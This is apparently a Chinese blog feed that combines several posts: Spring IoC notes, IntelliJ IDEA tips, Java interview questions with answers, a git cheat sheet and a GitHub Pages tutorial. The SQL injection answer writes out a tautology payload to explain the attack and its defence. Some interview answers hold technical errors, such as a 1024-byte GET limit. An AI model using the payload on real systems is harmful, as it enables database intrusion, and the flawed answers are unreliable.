我们可以把日志、安全、事务管理等服务理解成一个“切面”，那么以前这些服务一直是直接写在业务逻辑的代码当中的，这有两点不好：首先业务逻辑不纯净；其次这些服务被很多业务逻辑反复使用，完全可以剥离出来做到复用。那么 AOP 就是这些问题的解决方案， 可以把这些服务剥离出来形成一个“切面”，以期复用，然后将“切面”动态的“织入”到业务逻辑中，让业务逻辑能够享受到此“切面”的服务。

Spring 与 IoC

控制反转（IoC，Inversion of Control），是一个概念，是一种思想。指将传统上由程序代码直接操控的对象调用权交给容器，通过容器来实现对象的装配和管理。控制反转就是对对象控制权的转移，从程序代码本身反转到了外部容器。

IoC 是一个概念，是一种思想，其实现方式多种多样。当前比较流行的实现方式有两种： 依赖注入和依赖查找。依赖注入方式应用更为广泛。

  • 依赖查找：Dependency Lookup，DL，容器提供回调接口和上下文环境给组件，程序代码则需要提供具体的查找方式。比较典型的是依赖于 JNDI 系统的查找。
  • 依赖注入：Dependency Injection，DI，程序代码不做定位查询，这些工作由容器自行完成。
    依赖注入 DI 是指程序运行过程中，若需要调用另一个对象协助时，无须在代码中创建被调用者，而是依赖于外部容器，由外部容器创建后传递给程序。

Spring 的依赖注入对调用者与被调用者几乎没有任何要求，完全支持 POJO 之间依赖关系的管理。

依赖注入是目前最优秀的解耦方式。依赖注入让 Spring 的 Bean 之间以配置文件的方式组织在一起，而不是以硬编码的方式耦合在一起的。

POM

创建一个工程名为 hello-spring 的项目，pom.xml 文件如下：

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.lele</groupId>
    <artifactId>hello-spring</artifactId>
    <version>1.0.0-SNAPSHOT</version>
    <packaging>jar</packaging>

    <dependencies>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>4.3.17.RELEASE</version>
        </dependency>
    </dependencies>
</project>

主要增加了 org.springframework:spring-context 依赖

创建接口与实现

创建 UserService 接口

package com.lele.hello.spring.service;

public interface UserService {
    public void sayHi();
}

创建 UserServiceImpl 实现

package com.lele.hello.spring.service.impl;

import com.lele.hello.spring.service.UserService;

public class UserServiceImpl implements UserService {
    public void sayHi() {
        System.out.println("Hello Spring");
    }
}

创建 Spring 配置文件

在 src/main/resources 目录下创建 spring-context.xml 配置文件，从现在开始类的实例化工作交给 Spring 容器管理（IoC），配置文件如下：

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
       http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="userService" class="com.lele.hello.spring.service.impl.UserServiceImpl" />
</beans>

  • ：用于定义一个实例对象。一个实例对应一个 bean 元素。

  • id：该属性是 Bean 实例的唯一标识，程序通过 id 属性访问 Bean，Bean 与 Bean 间的依赖关系也是通过 id 属性关联的。

  • class：指定该 Bean 所属的类，注意这里只能是类，不能是接口。

测试 Spring IoC

创建一个 MyTest 测试类，测试对象是否能够通过 Spring 来创建，代码如下：

package com.lele.hello.spring;

import com.lele.hello.spring.service.UserService;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MyTest {

    public static void main(String[] args) {
        // 获取 Spring 容器
        ApplicationContext applicationContext = new ClassPathXmlApplicationContext("spring-context.xml");
        
        // 从 Spring 容器中获取对象
        UserService userService = (UserService) applicationContext.getBean("userService");
        userService.sayHi();
    }
}
]]> Spring 学习笔记 Spring 关于intelij IDEA2019.2的使用教程 /2018/05/02/guan-yu-intelij-idea2019-2-de-shi-yong-jiao-cheng/ 前言

工欲善其事
必先利其器

同时，在这次分享之后，本人自己也学习到了一些新的使用技巧，所以借着这次机会，一起分享出来。希望可以帮到一些人，不能浪费IDEA这个优秀的IDE呀。

基于的 IDEA 版本信息：IntelliJ IDEA 2019.2版本

知识点概览：

  • 高效率配置

  • 日常使用 必备快捷键（★★）

- 查找- 跳转切换- 编码相关- 代码阅读相关- 版本管理相关

  • 编码效率相关（★★）

    • 文件代码模板

    • 实时代码模板

    • 其他

  • 代码调试 源码阅读相关（★★★）

    • 视图模式

    • 代码调试

    • …

  • 插件方面

    • 插件的安装与使用

    • 插件推荐

  • 参考

    标题高效率配置

    1. 代码提示不区分大小写

    Settings -> Editor -> General -> Code Completion
    在这里插入图片描述
    (低版本 将 Case sensitive completion 设置为 None 就可以了)

  1. 自动导包功能及相关优化功能

Settings -> Editor -> General -> Auto Import
在这里插入图片描述

  1. CTRL + 滑动滚轮 调整窗口显示大小

Settings -> Editor -> General -> Change font size (Zoom) with Ctrl+Mouse wheel

在这里插入图片描述

选择之后，就可以通过CTRL+滑动滚轮的方式，调整编辑器窗口的字体大小

4.tab 多行显示

这点因人而异，有些人喜欢直接取消所有tab，改用快捷键的方式，我屏幕比较大，所以喜欢把tab全部显示出来。

Window -> Editor Tabs -> Tabs Placement，取消勾选 Show Tabs In Single Row选项。
在这里插入图片描述
效果如下：

在这里插入图片描述

  1. 代码编辑区显示行号
    Settings -> Editor -> General -> Appearance 勾选 Show Line Numbers

在这里插入图片描述
在这里插入图片描述

日常使用 必备快捷键（★★）

查找
| 快捷键 | 介绍 |
|—————————|——————-|
| Ctrl + F | 在当前文件进行文本查找 |
| Ctrl + R | 在当前文件进行文本替换 |
| Shift + Ctrl + F | 在项目进行文本查找 |
| Shift + Ctrl + R | 在项目进行文本替换 |
| Shift + Shift | 快速搜索 |
| Ctrl + N | 查找class |
| Ctrl + Shift + N | 查找文件 |
| Ctrl + Shift + Alt + N | 查找symbol（查找某个方法名） |

跳转切换

快捷键介绍
Ctrl + E最近文件
Ctrl + Tab切换文件
Ctrl + Alt + ←/→跳转历史光标所在处
Alt + ←/→ 方向键切换子tab
Ctrl + Ggo to（跳转指定行号）

编码相关
| 快捷键 | 介绍 |
|——————————-|—————————————————|
| Ctrl + W | 快速选中 |
| (Shift + Ctrl) + Alt + J | 快速选中同文本 |
| Ctrl + C/Ctrl + X/Ctrl + D | 快速复制或剪切 |
| 多行选中 Tab / Shift + Tab | tab |
| Ctrl + Y | 删除整行 |
| 滚轮点击变量/方法/类 | 快速进入变量/方法/类的定义处 |
| Shift + 点击Tab | 快速关闭tab |
| Ctrl + Z 、Ctrl + Shift + Z | 后悔药，撤销/取消撤销 |
| Ctrl + Shift + enter | 自动收尾，代码自动补全 |
| Alt + enter | IntelliJ IDEA 根据光标所在问题，提供快速修复选择，光标放在的位置不同提示的结果也不同 |
| Alt + ↑/↓ | 方法快速跳转 |
| F2 | 跳转到下一个高亮错误 或 警告位置 |
| Alt + Insert | 代码自动生成，如生成对象的 set / get 方法，构造函数，toString() 等 |
| Ctrl + Shift + L | 格式化代码 |
| Shift + F6 | 快速修改方法名、变量名、文件名、类名等 |
| Ctrl + F6 | 快速修改方法签名 |

代码阅读相关

快捷键介绍
Ctrl + P方法参数提示显示
Ctrl + Shift + i就可以在当前类里再弹出一个窗口出来
Alt + F7可以列出变量在哪些地方被使用了
光标在子类接口名，Ctrl + u跳到父类接口
Alt + F1 + 1， esc
(Shift) + Ctrl + +/-代码块折叠
Ctrl + Shift + ←/→移动窗口分割线
Ctrl + (Alt) + B跳转方法定义/实现
Ctrl + H类的层级关系
Ctrl + F12Show Members 类成员快速显示

版本管理相关

快捷键介绍
Ctrl + DShow Diff
(Shift) + F7（上）下一处修改

更多快捷键请参考此文章

leblog.github.io

编码效率相关（★★）

文件代码模板

Settings -> Editor -> File and Code Template
在这里插入图片描述

在这里可以看到IDEA所有内置的文件代码模板，当你选择某个文件生成时，就会按照这里面的模板生成指定的代码文件。

另外，你可以在这里设置文件头。
在这里插入图片描述
设置之后，效果如下

在这里插入图片描述
实时代码模板

IDEA提供了强大的实时代码模板功能，并且原生内置了很多的模板，比如，当你输入sout或者psvm，就会快速自动生成System.out.println();和public static void main(String[] args) {}的代码块。

在这里插入图片描述
在这里插入图片描述
这些的模板可以在Settings -> Editor -> Live Templates看到。使用者可以按照自己的使用习惯来熟悉相关的代码模板。
在这里插入图片描述
定制代码模板

IDEA也提供自己定制实时代码模板的功能。

  • 创建自己的模板库

  • 创建定制的代码模板
    在这里插入图片描述
    图中的MyGroup就存放着我自己定义的代码模板。

其他

CRTL+ALT+T
在这里插入图片描述

Ctrl + Alt + T 提供的是代码块包裹功能 - Surround With。可以快速将选中的代码块，包裹到选择的语句块中。

本地历史版本

IDEA 自带本地版本管理的功能，能够让你本地编写代码变得更加的安心和方便。
在这里插入图片描述

代码调试 源码阅读相关（★★★）

视图模式
在这里插入图片描述
IDEA提供两种特殊的视图模式，

  • Presentation Mode - 演示模式，专门用于Code Review这种需要展示代码的场景

  • Distraction Free Mode - 禅模式，专注于代码开发

代码调试

1. 条件断点

IDEA 可以设置指定条件的断点，增加我们调试的效率。
在这里插入图片描述
2. 强制返回

IDEA 可以在打断点的方法栈处，强制返回你想要的方法返回值给调用方。非常灵活！
在这里插入图片描述
在这里插入图片描述
3. 模拟异常

IDEA 可以在打断点的方法栈处，强制抛出异常给调用方。这个在调试源码的时候非常有用。
在这里插入图片描述
4. Evaluate Expression

IDEA 还可以在调试代码的时候，动态修改当前方法栈中变量的值，方便我们的调试。
在这里插入图片描述

插件方面

插件安装

File -> Setting -> Plugin

插件安装，可以直接在IDEA的插件库中实时搜索安装。browse plugin repository

对于网络不好的用户，可以登录官方插件仓库地址：plugins.jetbrains.com/idea，下载压缩包之后，选择install from disk

插件推荐

本人日常开发中使用的插件

Alibaba Java Coding Guidelines

阿里Java编程规约插件

FindBugs

代码缺陷扫描
在这里插入图片描述
在这里插入图片描述
PMD

代码缺陷扫描

InnerBuilder

builder模式快速生成
在这里插入图片描述
lombok plugin

lombok 插件

maven helper

maven 依赖管理助手 ，解析maven pom结构，分析冲突；
在这里插入图片描述
在这里插入图片描述

Rainbow brackets

让代码中的括号更具标识性
在这里插入图片描述
String Manipulation

String相关辅助简化，搭配 CTRL+W 、ALT+J等文本选择快捷键使用
在这里插入图片描述
Translation

翻译插件，阅读源码必备
在这里插入图片描述
在这里插入图片描述
GenerateAllSetter
在这里插入图片描述

**Key Promoter X**

对你的鼠标操作进行 快捷键提示
在这里插入图片描述
GenerateSerialVersionUID

Alt + Insert 快速生成SerialVersionUID
在这里插入图片描述
GsonFormat
在这里插入图片描述
RestfulToolkit

  • 快速跳转到Restful Api处( use: Ctrl(Command) + \ or Ctrl + Alt + N )

  • 展示Resultful 接口结构

  • http 简单请求工具在这里插入图片描述

  • 在这里插入图片描述

Material Theme UI

本人自用的主题就是这个。
在这里插入图片描述
MyBatis Log Plugin

把 Mybatis 输出的sql日志还原成完整的sql语句，看起来更直观。
在这里插入图片描述
Free Mybatis

MyBatis 免费的插件

参考

https://github.com/judasn/IntelliJ-IDEA-Tutorial

(By the way, 更多IDEA使用请参考此延伸文档以及官方文档)

（完）

]]> IDEA 学习笔记 Intelij IDEA 阿里巴巴Java方向面试题汇总（含答案） /2018/05/01/a-li-ba-ba-java-fang-xiang-mian-shi-ti-hui-zong-han-da-an/ 阿里巴巴Java方向面试题汇总（含答案）

涉及了从Java内置的基础数据结构、常用的服务器知识、Java网络编程相关的知识，再到Java的内存模型、Java常用编程框架等各个方面的内容，希望能够帮助大家回顾Java的基础内容，进而查漏补缺，完善自身的知识体系。

一、String, StringBuffer, StringBuilder的区别是什么？String为什么是不可变的？

  1. String是字符串常量，StringBuffer和StringBuilder都是字符串变量。后两者的字符内容可变，而前者创建后内容不可变。
  2. String不可变是因为在JDK中String类被声明为一个final类。
  3. StringBuffer是线程安全的，而StringBuilder是非线程安全的。

补充说明：线程安全会带来额外的系统开销，所以StringBuilder的效率比StringBuffer高。如果对系统中的线程是否安全很掌握，可用StringBuffer，在线程不安全处加上关键字Synchronize。

二、Vector, ArrayList, LinkedList的区别是什么？

  1. Vector、ArrayList都是以类似数组的形式存储在内存中，LinkedList则以链表的形式进行存储。
  2. List中的元素有序、允许有重复的元素，Set中的元素无序、不允许有重复元素。
  3. Vector线程同步，ArrayList、LinkedList线程不同步。
  4. LinkedList适合指定位置插入、删除操作，不适合查找；ArrayList、Vector适合查找，不适合指定位置的插入、删除操作。
  5. ArrayList在元素填满容器时会自动扩充容器大小的约50%，而Vector则是100%，因此ArrayList更节省空间。

三、HashTable, HashMap， TreeMap的区别是什么？

  1. HashTable线程同步，HashMap非线程同步。
  2. HashTable不允许<键,值>有空值，HashMap允许<键,值>有空值。
  3. HashTable使用Enumeration，HashMap使用Iterator。
  4. HashTable中hash数组的默认大小是11，增加方式的old*2+1，HashMap中hash数组的默认大小是16，增长方式一定是2的指数倍。
  5. TreeMap能够把它保存的记录根据键排序，默认是按升序排序。

补充说明：以上三个问题所涉及的都是Java语言中的一些比较高级的数据结构，从字符串相关到容器再到哈希表和树等数据结构，因此我们在学习Java语言的时候，也需要更加深入地去对比比较类似的数据结构的使用场景以及其优缺点。

四、Tomcat，Apache，JBoss的区别？

  1. Apache是HTTP服务器，Tomcat是Web服务器，JBoss是应用服务器。
  2. Apache解析静态的Html文件；Tomcat可解析jsp动态页面、也可充当
  3. 容器。

补充说明：对于服务器而言，在面试中可能并不会过多涉及，相对而言，面小易认为像是Liunx、Tomcat这些背后的原理可能更受面试官的青睐。

五、GET，POST请求之间的区别？

基础知识：HTTP的请求格式如下。主要包含三个信息：1、请求的类型（GET或POST），2、要访问的资源（如resimga.jif），3、HTTP版本（http/1.1）

区别：

  1. Get是从服务器端获取数据，Post则是向服务器端发送数据。
  2. 在客户端，Get方式通过URL提交数据，在URL地址栏可以看到请求消息，该消息被编码过；Post数据则是放在Html header内提交。
  3. 对于Get方式，服务器端用Request.QueryString获取变量的值；对用Post方式，服务器端用Request.Form获取提交的数据值。
  4. Get方式提交的数据最多1024字节，而Post则没有限制。
  5. Get方式提交的参数及参数值会在地址栏显示，不安全，而Post不会，比较安全。

六、Session, Cookie的区别是什么？

  1. Session由应用服务器维护的一个服务器端的存储空间；Cookie是客户端的存储空间，由浏览器维护。
  2. 用户可以通过浏览器设置决定是否保存Cookie，而不能决定是否保存Session，因为Session是由服务器端维护的。
  3. Session中保存的是对象，Cookie中保存的是字符串。
  4. Session和Cookie不能跨窗口使用，每打开一个浏览器系统会赋予一个SessionID，此时的SessionID不同，若要完成跨浏览器访问数据，可以使用 Application。
  5. Session、Cookie都有失效时间，过期后会自动删除，减少系统开销。

七、HTTP 报文包含内容

主要包含四部分：

  1. request line
  2. header line
  3. blank line
  4. request body

补充说明：上面的三个问题是网络编程的基础知识问题，作为Java工程师也需要掌握HTTP的知识，而如今HTTPS同样也成为了标准，也需要大家进一步了解。此外，相对于大家在课本或者课堂中所学习的HTTP 1.0/1.1这些协议而言，很多公司已经迈入了HTTP 2.0时代，因此两者之间的差别也需要我们进一步了解。

八、Servlet的生命周期

大致分为4部：Servlet类加载–>实例化–>服务–>销毁

Tomcat中Servlet的时序图如下所示：

  1. Web Client向Servlet容器(Tomcat)发出HTTP请求。
  2. Servlet容器接收Client端的请求。
  3. Servlet容器创建一个HttpRequest对象，将Client的请求信息封装到这个对象中。
  4. Servlet创建一个HttpResponse对象。
  5. Servlet调用HttpServlet对象的service方法，把HttpRequest对象和HttpResponse对象作为参数传递给HttpServlet对象中。
  6. HttpServlet调用HttpRequest对象的方法，获取Http请求，并进行相应处理。
  7. 处理完成HttpServlet调用HttpResponse对象的方法，返回响应数据。
  8. Servlet容器把HttpServlet的响应结果传回客户端。

其中的3个方法说明了Servlet的生命周期：

  1. init()：负责初始化Servlet对象。
  2. service()：负责响应客户端请求。
  3. destroy()：当Servlet对象推出时，负责释放占用资源。

九、Statement与PreparedStatement的区别,什么是SQL注入，如何防止SQL注入？

  1. PreparedStatement支持动态设置参数，Statement不支持。
  2. PreparedStatement可避免如类似 单引号 的编码麻烦，Statement不可以。
  3. PreparedStatement支持预编译，Statement不支持。
  4. 在SQL语句出错时PreparedStatement不易检查，而Statement则更便于查错。
  5. PreparedStatement可防止SQL助于，更加安全，而Statement不行。

补充说明-什么是SQL注入以及应对策略： 通过SQL语句的拼接达到无参数查询数据库数据目的的方法。如将要执行的SQL语句为 select * from table where name = “+appName+”，利用appName参数值的输入，来生成恶意的SQL语句，如将[‘or’1’=‘1’] 传入可在数据库中执行。因此可以采用PrepareStatement来避免SQL注入，在服务器端接收参数数据后，进行验证，此时PrepareStatement会自动检测，而Statement不行，需要手工检测。

十、sendRedirect, foward区别

  1. foward是服务器端控制页面转向，在客户端的浏览器地址中不会显示转向后的地址；sendRedirect则是完全的跳转，浏览器中会显示跳转的地址并重新发送请求链接。原理：forward是服务器请求资源，服务器直接访问目标地址的URL，把那个URL的响应内容读取过来，然后再将这些内容返回给浏览器，浏览器根本不知道服务器发送的这些内容是从哪来的，所以地址栏还是原来的地址。
  2. redirect是服务器端根据逻辑，发送一个状态码，告诉浏览器重新去请求的那个地址，浏览器会用刚才的所有参数重新发送新的请求。

补充说明：以上的三个问题在之前网络相关的知识上更进一步，上升到了Java网络编程的相关知识，这部分意在考察面试者对于Java网络编程相关知识的掌握程度。

十一、谈谈Hibernate的理解，一级和二级缓存的作用，在项目中Hibernate都是怎么使用缓存的？

Hibernate是一个开发的对象关系映射框架（ORM）。它对JDBC进行了非常对象封装，Hibernate允许程序员采用面向对象的方式来操作关系数据库。

Hibernate的优点：

  1. 程序更加面向对象
  2. 提高了生产率
  3. 方便移植
  4. 无入侵性

Hibernate的缺点：

  1. 效率比JDBC略差
  2. 不适合批量操作
  3. 只能配置一种关联关系

Hibernate有四种查询方式：

  1. get、load方法，根据ID号查询对象。
  2. Hibernate Query Language, HQL
  3. 标准查询语言
  4. 通过SQL查询

Hibernate工作原理：

  1. 配置Hibernate对象关系映射文件、启动服务器
  2. 服务器通过实例化Configuration对象，读取hibernate.cfg.xml文件的配置内容，并根据相关的需求建好表以及表之间的映射关系。
  3. 通过实例化的Configuration对象建立SessionFactory实例，通过SessionFactory实例创建Session对象。
  4. 通过Session对象完成数据库的增删改查操作。

Hibernate中的状态转移：

临时状态（Transient）

  1. 不处于SESSION缓存中
  2. 数据库中没有对象记录

补充说明-Java是如何进入临时状态的：1、通过new语句创建一个对象时。2、刚调用Session的delete()方法时，从Session缓存中删除一个对象时。

持久化状态(Persisted)
1、处于Session缓存中
2、持久化对象数据库中没有对象记录
3、Session在特定的时刻会保存两者同步

补充说明-Java如何进入持久化状态：1、Session的save()方法。2、Session的load().get()方法返回的对象。3、Session的find()方法返回的list集合中存放的对象。4、Session的update().save()方法。

流离状态（Detached）
1、不再位于Session缓存中
2、游离对象由持久化状态转变而来，数据库中还没有相应记录。

补充说明-Java如何进入流离状态：

1、Session的close()。2、 Session的evict()方法，从缓存中删除一个对象。

具体如下图所示：

Hibernate中的缓存主要有Session缓存（一级缓存）和SessionFactory缓存（二级缓存，一般由第三方提供）。

十二、谈谈Hibernate与iBatis的区别，哪个性能会更高一些

  1. Hibernate偏向于对象的操作达到数据库相关操作的目的；而iBatis更偏向于SQL语句的优化。
  2. Hibernate的使用的查询语句是自己的HQL，而iBatis则是标准的SQL语句。
  3. Hibernate相对复杂，不易学习；iBatis类似SQL语句，简单易学。

性能方面：

  1. 如果系统数据处理量巨大，性能要求极为苛刻时，往往需要人工编写高性能的SQL语句或存错过程，此时iBatis具有更好的可控性，因此性能优于Hibernate。
  2. 同样的需求下，由于Hibernate可以自动生成HQL语句，而iBatis需要手动写SQL语句，此时采用Hibernate的效率高于iBatis。

十三、对Spring的理解，项目中都用什么？怎么用的？对IOC、和AOP的理解及实现原理。

Spring是一个开源框架，处于MVC模式中的控制层，它能应对需求快速的变化，其主要原因它有一种面向切面编程（AOP）的优势，其次它提升了系统性能，因为通过依赖倒置机制（IOC），系统中用到的对象不是在系统加载时就全部实例化，而是在调用到这个类时才会实例化该类的对象，从而提升了系统性能。这两个优秀的性能使得Spring受到许多J2EE公司的青睐，如阿里中使用最多的也是Spring相关技术。

Spring的优点：

  1. 降低了组件之间的耦合性，实现了软件各层之间的解耦。
  2. 可以使用容易提供的众多服务，如事务管理，消息服务，日志记录等。
  3. 容器提供了AOP技术，利用它很容易实现如权限拦截、运行期监控等功能。

Spring中AOP技术是设计模式中的动态代理模式。只需实现jdk提供的动态代理接口InvocationHandler，所有被代理对象的方法都由InvocationHandler接管实际的处理任务。面向切面编程中还要理解切入点、切面、通知、织入等概念。

Spring中IOC则利用了Java强大的反射机制来实现。所谓依赖注入即组件之间的依赖关系由容器在运行期决定。其中依赖注入的方法有两种，通过构造函数注入，通过set方法进行注入。

十四、描述Struts的工作流程

  1. 在web应用启动时，加载并初始化ActionServlet，ActionServlet从struts-config.xml文件中读取配置信息，将它们存放到各个配置对象中。
  2. 当ActionServlet接收到一个客户请求时，首先检索和用户请求相匹配的ActionMapping实例，如果不存在，就返回用户请求路径无效信息。
  3. 如果ActionForm实例不存在，就创建一个ActionForm对象，把客户提交的表单数据保存到ActionForm对象中。
  4. 根据配置信息决定是否需要验证表单，如果需要，就调用ActionForm的validate()方法，如果ActionForm的validate()方法返回null或返回一个不包含ActionMessage的ActionErrors对象，就表示表单验证成功。
  5. ActionServlet根据ActionMapping实例包含的映射信息决定请求转发给哪个Action，如果相应的Action实例不存在，就先创建一个实例，然后调用Action的execute()方法。

补充说明：以上部分的相关问题考察面试者在实际软件开发中所使用的Java语言相关框架以及对于框架原理的了解程度，这一部分我们需要注意一些常见的框架，不仅需要知道它们是干什么的，还需要知道它们背后的原理，常会问到的框架有Spring Boot/Spring Cloud全家桶、Hibernate、MyBaits、Netty、Kafka等，最重要的还有阿里巴巴开源的Apache Dubbo框架。

十五、关于Java内存模型，一个对象（两个属性，四个方法）实例化100次，现在内存中的存储状态，几个对象，几个属性，几个方法。由于Java中new出来的对象都是放在堆中，所以如果要实例化100次，将在堆中产生100个对象，一般对象与其中的属性、方法都属于一个整体，但如果 属性和方法是静态的，就是用static关键字声明的，那么属于类的属性和方法永远只在内存中存在一份 ##。

十六、反射讲一讲，主要是概念,都在哪需要反射机制，反射的性能，如何优化？

反射机制的定义：

是在运行状态中，对于任意的一个类，都能够知道这个类的所有属性和方法，对任意一个对象都能够通过反射机制调用一个类的任意方法，这种动态获取类信息及动态调用类对象方法的功能称为java的反射机制。

反射的作用：

  1. 动态地创建类的实例，将类绑定到现有的对象中，或从现有的对象中获取类型。
  2. 应用程序需要在运行时从某个特定的程序集中载入一个特定的类。

十七、线程同步，并发操作怎么控制？

Java中可在方法名前加关键字syschronized来处理当有多个线程同时访问共享资源时候的问题。syschronized相当于一把锁，当有申请者申请该资源时，如果该资源没有被占用，那么将资源交付给这个申请者使用，在此期间，其他申请者只能申请而不能使用该资源，当该资源被使用完成后将释放该资源上的锁，其他申请者可申请使用。并发控制主要是为了多线程操作时带来的资源读写问题。如果不加以空间可能会出现死锁，读脏数据、不可重复读、丢失更新等异常。

并发操作可以通过加锁的方式进行控制，锁又可分为乐观锁和悲观锁。

悲观锁：

悲观锁并发模式假定系统中存在足够多的数据修改操作，以致于任何确定的读操作都可能会受到由个别的用户所制造的数据修改的影响。也就是说悲观锁假定冲突总会发生，通过独占正在被读取的数据来避免冲突。但是独占数据会导致其他进程无法修改该数据，进而产生阻塞，读数据和写数据会相互阻塞。

乐观锁：

乐观锁假定系统的数据修改只会产生非常少的冲突，也就是说任何进程都不大可能修改别的进程正在访问的数据。乐观并发模式下，读数据和写数据之间不会发生冲突，只有写数据与写数据之间会发生冲突。即读数据不会产生阻塞，只有写数据才会产生阻塞。

补充说明：最后的几个问题又回到了Java内存模型以及进程、线程的底层知识上，其实无论是对于Java网络编程也好，还是对于Java框架的使用也好，这都离不开Java语言底层的技术支撑，因此了解底层知识是做好优化的重中之重。

]]> JAVA JAVA 面试 如何把更新后的项目重新传到github上 /2018/04/23/ru-he-ba-geng-xin-hou-de-xiang-mu-chong-xin-chuan-dao-github-shang/ 以后更新项目基本上就是使用下面这几条命令就行：

自己主要是更新github上的项目所以刚开始上传请看下面转自某位大神的博客，但是如果是更新github上面的项目就比较简单。

  1. 在本地的git仓库把你更新好的项目拷到下面然后打开命令行

  2. 使用下面命令就行

    • git status
    • git add .
    • git commit -m “本次更新的说明”
    • git push origin master # 将本地主分支推到远程主分支

    Git命令

    查看、添加、提交、删除、找回，重置修改文件

    git help # 显示command的help

    git show # 显示某次提交的内容 git show $id

    git co - # 抛弃工作区修改

    git co . # 抛弃工作区修改

    git add # 将工作文件修改提交到本地暂存区

    git add . # 将所有修改过的工作文件提交暂存区

    git rm # 从版本库中删除文件

    git rm –cached # 从版本库中删除文件，但不删除文件

    git reset # 从暂存区恢复到工作文件

    git reset -. # 从暂存区恢复到工作文件

    git reset –hard # 恢复最近一次提交过的状态，即放弃上次提交后的所有本次修改

    git ci git ci . git ci -a # 将git add, git rm和git ci等操作都合并在一起做git ci -am “some comments”

    git ci –amend # 修改最后一次提交记录

    git revert <$id> # 恢复某次提交的状态，恢复动作本身也创建次提交对象

    git revert HEAD # 恢复最后一次提交的状态

查看文件diff

-     git diff <file> # 比较当前文件和暂存区文件差异 git diff-      -     git diff <id1><id2> # 比较两次提交之间的差异-      -     git diff <branch1>..<branch2> # 在两个分支之间比较-      -     git diff --staged # 比较暂存区和版本库差异-      -     git diff --cached # 比较暂存区和版本库差异-      -     git diff --stat # 仅仅比较统计信息

查看提交记录

-     git log git log <file> # 查看该文件每次提交记录-      -     git log -p <file> # 查看每次详细修改内容的diff-      -     git log -p -2 # 查看最近两次详细修改内容的diff-      -     git log --stat #查看提交统计信息

tig

Mac上可以使用tig代替diff和log，brew install tig

Git 本地分支管理

查看、切换、创建和删除分支

-     git br -r # 查看远程分支-      -     git br <new_branch> # 创建新的分支-      -     git br -v # 查看各个分支最后提交信息-      -     git br --merged # 查看已经被合并到当前分支的分支-      -     git br --no-merged # 查看尚未被合并到当前分支的分支-      -     git co <branch> # 切换到某个分支-      -     git co -b <new_branch> # 创建新的分支，并且切换过去-      -     git co -b <new_branch> <branch> # 基于branch创建新的new_branch-      -     git co $id # 把某次历史提交记录checkout出来，但无分支信息，切换到其他分支会自动删除-      -     git co $id -b <new_branch> # 把某次历史提交记录checkout出来，创建成一个分支-      -     git br -d <branch> # 删除某个分支-      -     git br -D <branch> # 强制删除某个分支 (未被合并的分支被删除的时候需要强制)

分支合并和rebase

git merge <branch> # 将branch分支合并到当前分支git merge origin/master --no-ff # 不要Fast-Foward合并，这样可以生成merge提交git rebase master <branch> # 将master rebase到branch，相当于： git co <branch> && git

Git补丁管理

(方便在多台机器上开发同步时用)
git diff > ../sync.patch # 生成补丁

git apply ../sync.patch # 打补丁git apply --check ../sync.patch #测试补丁能否成功

Git暂存管理

git stash # 暂存git stash list # 列所有stashgit stash apply # 恢复暂存的内容git stash drop # 删除暂存区Git远程分支管理git pull # 抓取远程仓库所有分支更新并合并到本地git pull --no-ff # 抓取远程仓库所有分支更新并合并到本地，不要快进合并git fetch origin # 抓取远程仓库更新git merge origin/master # 将远程主分支合并到本地当前分支git co --track origin/branch # 跟踪某个远程分支创建相应的本地分支git co -b <local_branch> origin/<remote_branch> # 基于远程分支创建本地分支，功能同上

git push (push所有分支)

git push origin master # 将本地主分支推到远程主分支git push -u origin master # 将本地主分支推到远程(如无远程主分支则创建，用于初始化远程仓库)git push origin <local_branch> # 创建远程分支， origin是远程仓库名git push origin <local_branch>:<remote_branch> # 创建远程分支git push origin :<remote_branch> #先删除本地分支(git br -d <branch>)，然后再push删除远程分支

Git远程仓库管理

git remote -v # 查看远程服务器地址和仓库名称git remote show origin # 查看远程服务器仓库状态git remote add origin git@ github:robbin/robbin_site.git # 添加远程仓库地址git remote set-url origin git@ github.com:robbin/robbin_site.git # 设置远程仓库地址

创建远程仓库

git clone --bare robbin_site robbin_site.git # 用带版本的项目创建纯版本仓库scp -r my_project.git git@ git.csdn.net:~ # 将纯仓库上传到服务器上mkdir robbin_site.git && cd robbin_site.git && git --bare init # 在服务器创建纯仓库git remote add origin git@ github.com:robbin/robbin_site.git # 设置远程仓库地址git push -u origin master # 客户端首次提交git push -u origin develop # 首次将本地develop分支提交到远程develop分支，并且trackgit remote set-head origin master # 设置远程仓库的HEAD指向master分支

也可以命令设置跟踪远程库和本地库

git branch --set-upstream master origin/mastergit branch --set-upstream develop origin/develop
]]> Github 学习笔记 Github 使用github部署网站 /2018/04/23/shi-yong-github-bu-shu-wang-zhan/ 使用GitHub部署网站

在部署网站之前，先要有一个GitHub账号，熟悉一些git命令，注册GitHub账号和使用git命令可以参考下面的博客，在博客中介绍的非常详细，我也不做过多的介绍

从0开始学习GitHub系列汇总：[http://pan.baidu.com/s/1hsn57YO](http://pan.baidu.com/s/1hsn57YO)

注册好GitHub账号并且完善用户信息后可以得到一个下图所示的界面，下图是我的GitHub界面，其中界面中的信息介绍可以参考，从0开始学习 GITHUB 系列之「加入 GITHUB」这篇博客对GitHub界面的信息介绍的非常详细

在GitHub上部署网站：

第一步：单击Repositories，其中Repositories在GitHub上表示的是仓库，在GitHub上每个项目都存放在仓库里，一个仓库保存一个项目

第二步：单击根据图中的提示填写信息，信息填写完成后单击Create respository按钮创建仓库

第三步：单击创建好仓库后会自动跳转到下图所示的界面，在界面中单击Settings

